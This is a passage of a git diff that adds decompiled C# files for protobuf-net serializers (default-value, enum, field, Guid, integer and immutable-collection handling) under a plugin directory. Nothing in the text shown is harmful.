incorrect type", "defaultValue"); + } + this.defaultValue = defaultValue; + } + + public override void Write(object value, ProtoWriter dest) + { + if (!object.Equals(value, defaultValue)) + { + Tail.Write(value, dest); + } + } + + public override object Read(object value, ProtoReader source) + { + return Tail.Read(value, source); + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + CodeLabel label = ctx.DefineLabel(); + if (valueFrom == null) + { + ctx.CopyValue(); + CodeLabel label2 = ctx.DefineLabel(); + EmitBranchIfDefaultValue(ctx, label2); + Tail.EmitWrite(ctx, null); + ctx.Branch(label, @short: true); + ctx.MarkLabel(label2); + ctx.DiscardValue(); + } + else + { + ctx.LoadValue(valueFrom); + EmitBranchIfDefaultValue(ctx, label); + Tail.EmitWrite(ctx, valueFrom); + } + ctx.MarkLabel(label); + } + + private void EmitBeq(CompilerContext ctx, CodeLabel label, Type type) + { + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + if ((uint)(typeCode - 3) <= 11u) + { + ctx.BranchIfEqual(label, @short: false); + return; + } + MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Static | BindingFlags.Public, null, new Type[2] { type, type }, null); + if ((object)method == null || (object)method.ReturnType != ctx.MapType(typeof(bool))) + { + throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName); + } + ctx.EmitCall(method); + ctx.BranchIfTrue(label, @short: false); + } + + private void EmitBranchIfDefaultValue(CompilerContext ctx, CodeLabel label) + { + Type expectedType = ExpectedType; + switch (Helpers.GetTypeCode(expectedType)) + { + case ProtoTypeCode.Boolean: + if ((bool)defaultValue) + { + ctx.BranchIfTrue(label, @short: false); + } + else + { + ctx.BranchIfFalse(label, @short: false); + } + break; + case ProtoTypeCode.Byte: + if ((byte)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((byte)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.SByte: + if ((sbyte)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((sbyte)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Int16: + if ((short)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((short)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.UInt16: + if ((ushort)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((ushort)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Int32: + if ((int)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((int)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.UInt32: + if ((uint)defaultValue == 0) + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((int)(uint)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Char: + if ((char)defaultValue == '\0') + { + ctx.BranchIfFalse(label, @short: false); + break; + } + ctx.LoadValue((char)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Int64: + ctx.LoadValue((long)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.UInt64: + ctx.LoadValue((long)(ulong)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Double: + ctx.LoadValue((double)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Single: + ctx.LoadValue((float)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.String: + ctx.LoadValue((string)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.Decimal: + { + decimal value = (decimal)defaultValue; + ctx.LoadValue(value); + EmitBeq(ctx, label, expectedType); + break; + } + case ProtoTypeCode.TimeSpan: + { + TimeSpan timeSpan = (TimeSpan)defaultValue; + if (timeSpan == TimeSpan.Zero) + { + ctx.LoadValue(typeof(TimeSpan).GetField("Zero")); + } + else + { + ctx.LoadValue(timeSpan.Ticks); + ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks")); + } + EmitBeq(ctx, label, expectedType); + break; + } + case ProtoTypeCode.Guid: + ctx.LoadValue((Guid)defaultValue); + EmitBeq(ctx, label, expectedType); + break; + case ProtoTypeCode.DateTime: + ctx.LoadValue(((DateTime)defaultValue).ToBinary()); + ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary")); + EmitBeq(ctx, label, expectedType); + break; + default: + throw new NotSupportedException("Type cannot be represented as a default value: " + expectedType.FullName); + } + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + Tail.EmitRead(ctx, valueFrom); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DoubleSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DoubleSerializer.cs new file mode 100644 index 0000000..d64e588 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DoubleSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class DoubleSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(double); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public DoubleSerializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadDouble(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteDouble((double)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteDouble", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadDouble", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/EnumSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/EnumSerializer.cs new file mode 100644 index 0000000..aa2cf12 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/EnumSerializer.cs @@ -0,0 +1,267 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class EnumSerializer : IProtoSerializer +{ + public readonly struct EnumPair(int wireValue, object raw, Type type) + { + public readonly object RawValue = raw; + + public readonly Enum TypedValue = (Enum)Enum.ToObject(type, raw); + + public readonly int WireValue = wireValue; + } + + private readonly Type enumType; + + private readonly EnumPair[] map; + + public Type ExpectedType => enumType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public EnumSerializer(Type enumType, EnumPair[] map) + { + this.enumType = enumType ?? throw new ArgumentNullException("enumType"); + this.map = map; + if (map == null) + { + return; + } + for (int i = 1; i < map.Length; i++) + { + for (int j = 0; j < i; j++) + { + if (map[i].WireValue == map[j].WireValue && !object.Equals(map[i].RawValue, map[j].RawValue)) + { + int wireValue = map[i].WireValue; + throw new ProtoException("Multiple enums with wire-value " + wireValue); + } + if (object.Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue) + { + throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue); + } + } + } + } + + private ProtoTypeCode GetTypeCode() + { + Type underlyingType = Helpers.GetUnderlyingType(enumType); + if ((object)underlyingType == null) + { + underlyingType = enumType; + } + return Helpers.GetTypeCode(underlyingType); + } + + private int EnumToWire(object value) + { + return GetTypeCode() switch + { + ProtoTypeCode.Byte => (byte)value, + ProtoTypeCode.SByte => (sbyte)value, + ProtoTypeCode.Int16 => (short)value, + ProtoTypeCode.Int32 => (int)value, + ProtoTypeCode.Int64 => (int)(long)value, + ProtoTypeCode.UInt16 => (ushort)value, + ProtoTypeCode.UInt32 => (int)(uint)value, + ProtoTypeCode.UInt64 => (int)(ulong)value, + _ => throw new InvalidOperationException(), + }; + } + + private object WireToEnum(int value) + { + return GetTypeCode() switch + { + ProtoTypeCode.Byte => Enum.ToObject(enumType, (byte)value), + ProtoTypeCode.SByte => Enum.ToObject(enumType, (sbyte)value), + ProtoTypeCode.Int16 => Enum.ToObject(enumType, (short)value), + ProtoTypeCode.Int32 => Enum.ToObject(enumType, value), + ProtoTypeCode.Int64 => Enum.ToObject(enumType, (long)value), + ProtoTypeCode.UInt16 => Enum.ToObject(enumType, (ushort)value), + ProtoTypeCode.UInt32 => Enum.ToObject(enumType, (uint)value), + ProtoTypeCode.UInt64 => Enum.ToObject(enumType, (ulong)value), + _ => throw new InvalidOperationException(), + }; + } + + public object Read(object value, ProtoReader source) + { + int num = source.ReadInt32(); + if (map == null) + { + return WireToEnum(num); + } + for (int i = 0; i < map.Length; i++) + { + if (map[i].WireValue == num) + { + return map[i].TypedValue; + } + } + source.ThrowEnumException(ExpectedType, num); + return null; + } + + public void Write(object value, ProtoWriter dest) + { + if (map == null) + { + ProtoWriter.WriteInt32(EnumToWire(value), dest); + return; + } + for (int i = 0; i < map.Length; i++) + { + if (object.Equals(map[i].TypedValue, value)) + { + ProtoWriter.WriteInt32(map[i].WireValue, dest); + return; + } + } + ProtoWriter.ThrowEnumException(dest, value); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ProtoTypeCode typeCode = GetTypeCode(); + if (map == null) + { + ctx.LoadValue(valueFrom); + ctx.ConvertToInt32(typeCode, uint32Overflow: false); + ctx.EmitBasicWrite("WriteInt32", null); + return; + } + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + CodeLabel label = ctx.DefineLabel(); + for (int i = 0; i < map.Length; i++) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.LoadValue(local); + WriteEnumValue(ctx, typeCode, map[i].RawValue); + ctx.BranchIfEqual(label3, @short: true); + ctx.Branch(label2, @short: true); + ctx.MarkLabel(label3); + ctx.LoadValue(map[i].WireValue); + ctx.EmitBasicWrite("WriteInt32", null); + ctx.Branch(label, @short: false); + ctx.MarkLabel(label2); + } + ctx.LoadReaderWriter(); + ctx.LoadValue(local); + ctx.CastToObject(ExpectedType); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException")); + ctx.MarkLabel(label); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ProtoTypeCode typeCode = GetTypeCode(); + if (map == null) + { + ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); + ctx.ConvertFromInt32(typeCode, uint32Overflow: false); + return; + } + int[] array = new int[map.Length]; + object[] array2 = new object[map.Length]; + for (int i = 0; i < map.Length; i++) + { + array[i] = map[i].WireValue; + array2[i] = map[i].RawValue; + } + using Local local = new Local(ctx, ExpectedType); + using Local local2 = new Local(ctx, ctx.MapType(typeof(int))); + ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); + ctx.StoreValue(local2); + CodeLabel codeLabel = ctx.DefineLabel(); + BasicList.NodeEnumerator enumerator = BasicList.GetContiguousGroups(array, array2).GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicList.Group obj = (BasicList.Group)enumerator.Current; + CodeLabel label = ctx.DefineLabel(); + int count = obj.Items.Count; + if (count == 1) + { + ctx.LoadValue(local2); + ctx.LoadValue(obj.First); + CodeLabel codeLabel2 = ctx.DefineLabel(); + ctx.BranchIfEqual(codeLabel2, @short: true); + ctx.Branch(label, @short: false); + WriteEnumValue(ctx, typeCode, codeLabel2, codeLabel, obj.Items[0], local); + } + else + { + ctx.LoadValue(local2); + ctx.LoadValue(obj.First); + ctx.Subtract(); + CodeLabel[] array3 = new CodeLabel[count]; + for (int j = 0; j < count; j++) + { + array3[j] = ctx.DefineLabel(); + } + ctx.Switch(array3); + ctx.Branch(label, @short: false); + for (int k = 0; k < count; k++) + { + WriteEnumValue(ctx, typeCode, array3[k], codeLabel, obj.Items[k], local); + } + } + ctx.MarkLabel(label); + } + ctx.LoadReaderWriter(); + ctx.LoadValue(ExpectedType); + ctx.LoadValue(local2); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException")); + ctx.MarkLabel(codeLabel); + ctx.LoadValue(local); + } + + private static void WriteEnumValue(CompilerContext ctx, ProtoTypeCode typeCode, object value) + { + switch (typeCode) + { + case ProtoTypeCode.Byte: + ctx.LoadValue((byte)value); + break; + case ProtoTypeCode.SByte: + ctx.LoadValue((sbyte)value); + break; + case ProtoTypeCode.Int16: + ctx.LoadValue((short)value); + break; + case ProtoTypeCode.Int32: + ctx.LoadValue((int)value); + break; + case ProtoTypeCode.Int64: + ctx.LoadValue((long)value); + break; + case ProtoTypeCode.UInt16: + ctx.LoadValue((ushort)value); + break; + case ProtoTypeCode.UInt32: + ctx.LoadValue((int)(uint)value); + break; + case ProtoTypeCode.UInt64: + ctx.LoadValue((long)(ulong)value); + break; + default: + throw new InvalidOperationException(); + } + } + + private static void WriteEnumValue(CompilerContext ctx, ProtoTypeCode typeCode, CodeLabel handler, CodeLabel @continue, object value, Local local) + { + ctx.MarkLabel(handler); + WriteEnumValue(ctx, typeCode, value); + ctx.StoreValue(local); + ctx.Branch(@continue, @short: false); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/FieldDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/FieldDecorator.cs new file mode 100644 index 0000000..769a21b --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/FieldDecorator.cs @@ -0,0 +1,92 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; + +namespace ProtoBuf.Serializers; + +internal sealed class FieldDecorator : ProtoDecoratorBase +{ + private readonly FieldInfo field; + + private readonly Type forType; + + public override Type ExpectedType => forType; + + public override bool RequiresOldValue => true; + + public override bool ReturnsValue => false; + + public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail) + : base(tail) + { + this.forType = forType; + this.field = field; + } + + public override void Write(object value, ProtoWriter dest) + { + value = field.GetValue(value); + if (value != null) + { + Tail.Write(value, dest); + } + } + + public override object Read(object value, ProtoReader source) + { + object obj = Tail.Read(Tail.RequiresOldValue ? field.GetValue(value) : null, source); + if (obj != null) + { + field.SetValue(value, obj); + } + return null; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadAddress(valueFrom, ExpectedType); + ctx.LoadValue(field); + ctx.WriteNullCheckedTail(field.FieldType, Tail, null); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + if (Tail.RequiresOldValue) + { + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(field); + } + ctx.ReadNullCheckedTail(field.FieldType, Tail, null); + MemberInfo member = field; + ctx.CheckAccessibility(ref member); + if (member is FieldInfo) + { + if (!Tail.ReturnsValue) + { + return; + } + using Local local2 = new Local(ctx, field.FieldType); + ctx.StoreValue(local2); + if (Helpers.IsValueType(field.FieldType)) + { + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(local2); + ctx.StoreValue(field); + return; + } + CodeLabel label = ctx.DefineLabel(); + ctx.LoadValue(local2); + ctx.BranchIfFalse(label, @short: true); + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(local2); + ctx.StoreValue(field); + ctx.MarkLabel(label); + return; + } + if (Tail.ReturnsValue) + { + ctx.DiscardValue(); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/GuidSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/GuidSerializer.cs new file mode 100644 index 0000000..5d03f13 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/GuidSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class GuidSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(Guid); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public GuidSerializer(TypeModel model) + { + } + + public void Write(object value, ProtoWriter dest) + { + BclHelpers.WriteGuid((Guid)value, dest); + } + + public object Read(object value, ProtoReader source) + { + return BclHelpers.ReadGuid(source); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoSerializer.cs new file mode 100644 index 0000000..924149a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoSerializer.cs @@ -0,0 +1,21 @@ +using System; +using ProtoBuf.Compiler; + +namespace ProtoBuf.Serializers; + +internal interface IProtoSerializer +{ + Type ExpectedType { get; } + + bool RequiresOldValue { get; } + + bool ReturnsValue { get; } + + void Write(object value, ProtoWriter dest); + + object Read(object value, ProtoReader source); + + void EmitWrite(CompilerContext ctx, Local valueFrom); + + void EmitRead(CompilerContext ctx, Local entity); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoTypeSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoTypeSerializer.cs new file mode 100644 index 0000000..c3b89d4 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/IProtoTypeSerializer.cs @@ -0,0 +1,19 @@ +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal interface IProtoTypeSerializer : IProtoSerializer +{ + bool HasCallbacks(TypeModel.CallbackType callbackType); + + bool CanCreateInstance(); + + object CreateInstance(ProtoReader source); + + void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context); + + void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType); + + void EmitCreateInstance(CompilerContext ctx); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ISerializerProxy.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ISerializerProxy.cs new file mode 100644 index 0000000..ee0d55f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ISerializerProxy.cs @@ -0,0 +1,6 @@ +namespace ProtoBuf.Serializers; + +internal interface ISerializerProxy +{ + IProtoSerializer Serializer { get; } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ImmutableCollectionDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ImmutableCollectionDecorator.cs new file mode 100644 index 0000000..66b2d9e --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ImmutableCollectionDecorator.cs @@ -0,0 +1,301 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class ImmutableCollectionDecorator : ListDecorator +{ + private readonly MethodInfo builderFactory; + + private readonly MethodInfo add; + + private readonly MethodInfo addRange; + + private readonly MethodInfo finish; + + private readonly PropertyInfo isEmpty; + + private readonly PropertyInfo length; + + protected override bool RequireAdd => false; + + private static Type ResolveIReadOnlyCollection(Type declaredType, Type t) + { + if (CheckIsIReadOnlyCollectionExactly(declaredType)) + { + return declaredType; + } + Type[] interfaces = declaredType.GetInterfaces(); + foreach (Type type in interfaces) + { + if (CheckIsIReadOnlyCollectionExactly(type)) + { + return type; + } + } + return null; + } + + private static bool CheckIsIReadOnlyCollectionExactly(Type t) + { + if ((object)t != null && t.IsGenericType && t.Name.StartsWith("IReadOnlyCollection`")) + { + Type[] genericArguments = t.GetGenericArguments(); + if (genericArguments.Length != 1 && (object)genericArguments[0] != t) + { + return false; + } + return true; + } + return false; + } + + internal static bool IdentifyImmutable(TypeModel model, Type declaredType, out MethodInfo builderFactory, out PropertyInfo isEmpty, out PropertyInfo length, out MethodInfo add, out MethodInfo addRange, out MethodInfo finish) + { + builderFactory = (add = (addRange = (finish = null))); + isEmpty = (length = null); + if (model == null || (object)declaredType == null) + { + return false; + } + if (!declaredType.IsGenericType) + { + return false; + } + Type[] genericArguments = declaredType.GetGenericArguments(); + Type[] array; + switch (genericArguments.Length) + { + case 1: + array = genericArguments; + break; + case 2: + { + Type type = model.MapType(typeof(KeyValuePair<, >)); + if ((object)type == null) + { + return false; + } + type = type.MakeGenericType(genericArguments); + array = new Type[1] { type }; + break; + } + default: + return false; + } + if ((object)ResolveIReadOnlyCollection(declaredType, null) == null) + { + return false; + } + string name = declaredType.Name; + int num = name.IndexOf('`'); + if (num <= 0) + { + return false; + } + name = (declaredType.IsInterface ? name.Substring(1, num - 1) : name.Substring(0, num)); + Type type2 = model.GetType(declaredType.Namespace + "." + name, declaredType.Assembly); + if ((object)type2 == null && name == "ImmutableSet") + { + type2 = model.GetType(declaredType.Namespace + ".ImmutableHashSet", declaredType.Assembly); + } + if ((object)type2 == null) + { + return false; + } + MethodInfo[] methods = type2.GetMethods(); + foreach (MethodInfo methodInfo in methods) + { + if (methodInfo.IsStatic && !(methodInfo.Name != "CreateBuilder") && methodInfo.IsGenericMethodDefinition && methodInfo.GetParameters().Length == 0 && methodInfo.GetGenericArguments().Length == genericArguments.Length) + { + builderFactory = methodInfo.MakeGenericMethod(genericArguments); + break; + } + } + Type type3 = model.MapType(typeof(void)); + if ((object)builderFactory == null || (object)builderFactory.ReturnType == null || (object)builderFactory.ReturnType == type3) + { + return false; + } + isEmpty = Helpers.GetProperty(declaredType, "IsDefaultOrEmpty", nonPublic: false); + if ((object)isEmpty == null) + { + isEmpty = Helpers.GetProperty(declaredType, "IsEmpty", nonPublic: false); + } + if ((object)isEmpty == null) + { + length = Helpers.GetProperty(declaredType, "Length", nonPublic: false); + if ((object)length == null) + { + length = Helpers.GetProperty(declaredType, "Count", nonPublic: false); + } + if ((object)length == null) + { + length = Helpers.GetProperty(ResolveIReadOnlyCollection(declaredType, array[0]), "Count", nonPublic: false); + } + if ((object)length == null) + { + return false; + } + } + add = Helpers.GetInstanceMethod(builderFactory.ReturnType, "Add", array); + if ((object)add == null) + { + return false; + } + finish = Helpers.GetInstanceMethod(builderFactory.ReturnType, "ToImmutable", Helpers.EmptyTypes); + if ((object)finish == null || (object)finish.ReturnType == null || (object)finish.ReturnType == type3) + { + return false; + } + if ((object)finish.ReturnType != declaredType && !Helpers.IsAssignableFrom(declaredType, finish.ReturnType)) + { + return false; + } + addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[1] { declaredType }); + if ((object)addRange == null) + { + Type type4 = model.MapType(typeof(IEnumerable<>), demand: false); + if ((object)type4 != null) + { + addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[1] { type4.MakeGenericType(array) }); + } + } + return true; + } + + internal ImmutableCollectionDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull, MethodInfo builderFactory, PropertyInfo isEmpty, PropertyInfo length, MethodInfo add, MethodInfo addRange, MethodInfo finish) + : base(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull) + { + this.builderFactory = builderFactory; + this.isEmpty = isEmpty; + this.length = length; + this.add = add; + this.addRange = addRange; + this.finish = finish; + } + + public override object Read(object value, ProtoReader source) + { + object obj = builderFactory.Invoke(null, null); + int field = source.FieldNumber; + object[] array = new object[1]; + if (base.AppendToCollection && value != null && (((object)isEmpty != null) ? (!(bool)isEmpty.GetValue(value, null)) : ((byte)(int)length.GetValue(value, null) != 0))) + { + if ((object)addRange != null) + { + array[0] = value; + addRange.Invoke(obj, array); + } + else + { + foreach (object item in (ICollection)value) + { + array[0] = item; + add.Invoke(obj, array); + } + } + } + if (packedWireType != WireType.None && source.WireType == WireType.String) + { + SubItemToken token = ProtoReader.StartSubItem(source); + while (ProtoReader.HasSubValue(packedWireType, source)) + { + array[0] = Tail.Read(null, source); + add.Invoke(obj, array); + } + ProtoReader.EndSubItem(token, source); + } + else + { + do + { + array[0] = Tail.Read(null, source); + add.Invoke(obj, array); + } + while (source.TryReadFieldHeader(field)); + } + return finish.Invoke(obj, null); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + using Local local = (base.AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : null); + using Local local2 = new Local(ctx, builderFactory.ReturnType); + ctx.EmitCall(builderFactory); + ctx.StoreValue(local2); + if (base.AppendToCollection) + { + CodeLabel label = ctx.DefineLabel(); + if (!Helpers.IsValueType(ExpectedType)) + { + ctx.LoadValue(local); + ctx.BranchIfFalse(label, @short: false); + } + ctx.LoadAddress(local, local.Type); + if ((object)isEmpty != null) + { + ctx.EmitCall(Helpers.GetGetMethod(isEmpty, nonPublic: false, allowInternal: false)); + ctx.BranchIfTrue(label, @short: false); + } + else + { + ctx.EmitCall(Helpers.GetGetMethod(length, nonPublic: false, allowInternal: false)); + ctx.BranchIfFalse(label, @short: false); + } + Type type = ctx.MapType(typeof(void)); + if ((object)addRange != null) + { + ctx.LoadValue(local2); + ctx.LoadValue(local); + ctx.EmitCall(addRange); + if ((object)addRange.ReturnType != null && (object)add.ReturnType != type) + { + ctx.DiscardValue(); + } + } + else + { + MethodInfo moveNext; + MethodInfo current; + MethodInfo enumeratorInfo = GetEnumeratorInfo(ctx.Model, out moveNext, out current); + Type returnType = enumeratorInfo.ReturnType; + using Local local3 = new Local(ctx, returnType); + ctx.LoadAddress(local, ExpectedType); + ctx.EmitCall(enumeratorInfo); + ctx.StoreValue(local3); + using (ctx.Using(local3)) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(label2); + ctx.LoadAddress(local2, local2.Type); + ctx.LoadAddress(local3, returnType); + ctx.EmitCall(current); + ctx.EmitCall(add); + if ((object)add.ReturnType != null && (object)add.ReturnType != type) + { + ctx.DiscardValue(); + } + ctx.MarkLabel(label3); + ctx.LoadAddress(local3, returnType); + ctx.EmitCall(moveNext); + ctx.BranchIfTrue(label2, @short: false); + } + } + ctx.MarkLabel(label); + } + ListDecorator.EmitReadList(ctx, local2, Tail, add, packedWireType, castListForAdd: false); + ctx.LoadAddress(local2, local2.Type); + ctx.EmitCall(finish); + if ((object)ExpectedType != finish.ReturnType) + { + ctx.Cast(ExpectedType); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int16Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int16Serializer.cs new file mode 100644 index 0000000..ad4027f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int16Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class Int16Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(short); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public Int16Serializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadInt16(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteInt16((short)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteInt16", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadInt16", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int32Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int32Serializer.cs new file mode 100644 index 0000000..92d4d4f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int32Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class Int32Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(int); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public Int32Serializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadInt32(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteInt32((int)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteInt32", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadInt32", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int64Serializer.cs 